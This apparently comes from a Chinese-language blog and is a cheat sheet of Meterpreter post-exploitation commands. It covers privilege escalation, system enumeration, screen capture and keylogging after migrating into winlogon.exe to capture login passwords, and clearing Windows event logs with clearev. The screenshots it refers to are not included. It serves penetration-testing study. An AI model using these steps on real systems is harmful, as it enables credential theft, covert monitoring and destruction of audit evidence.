本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后得攻击载荷使用,攻击载荷在溢出攻击成功以后会返回一个控制通道。
使用它作为攻击载荷能够获得目标系统的一个 Meterpreter Shell 链接。
Meterpreter Shell 作为渗透模块有很多有用的功能,比如添加用户、隐藏文件、打开 shell、获取用户名密码、上传下载文件、捕获屏幕、捕获按键、清除程序等等。
常用命令
bg:返回。后台挂起
sessions -l:查看当前建立的会话( -l 可以省略)
sessions -i ID:进入指定 session 会话
ps:查看进程
getpid:查看当前进程号
sysinfo:查看系统信息
getsystem:自动提权
getuid:查看当前权限
run scraper:获取系统详细信息
会保存成文件到本机,耗时较久
run post/windows/gather/enum_applications:查看目标主机安装的应用
会保存成文件到本机
screenshot:截屏
run vnc:屏幕监控
最好直接在 kali 下运行,如果使用 ssh 运行可能无法 display
发现提示已经有一个 vnc 程序在运行了,将其 kill 掉之后,发现又有个新错误
貌似是 ruby 版本的问题,暂不纠结,github 上有 issue 与解决方案。
keyscan_start、keyscan_dump、keyscan_stop:键盘记录
直接使用是记录不到的,需要配合 migrate 命令迁移到指定进程上
migrate:进程迁移(迁移之后才能记录到指定进程下的键盘记录)
- ps 命令查看进程列表
- 先 getpid 查看当前进程
- migrate 进程ID:将当前进程绑定至 XXX 进程上
比如,迁移 winlogon.exe ,记录登录用户名和密码
- ps 查看 winlogon.exe 的 PID
- migrate 396 将当前进程绑定到 396 进程上
- keyscan_start 开始监听
- 当目标机器锁定屏幕/重新登录/注销后重新登录时
- keyscan_dump 查看到登录密码(密码为:123 包括
回车符号)
clearev:清除日志(无法清除自身)
清除前:
清除后(但是会保留一条无法清除的安全日志,记录刚才的清除操作):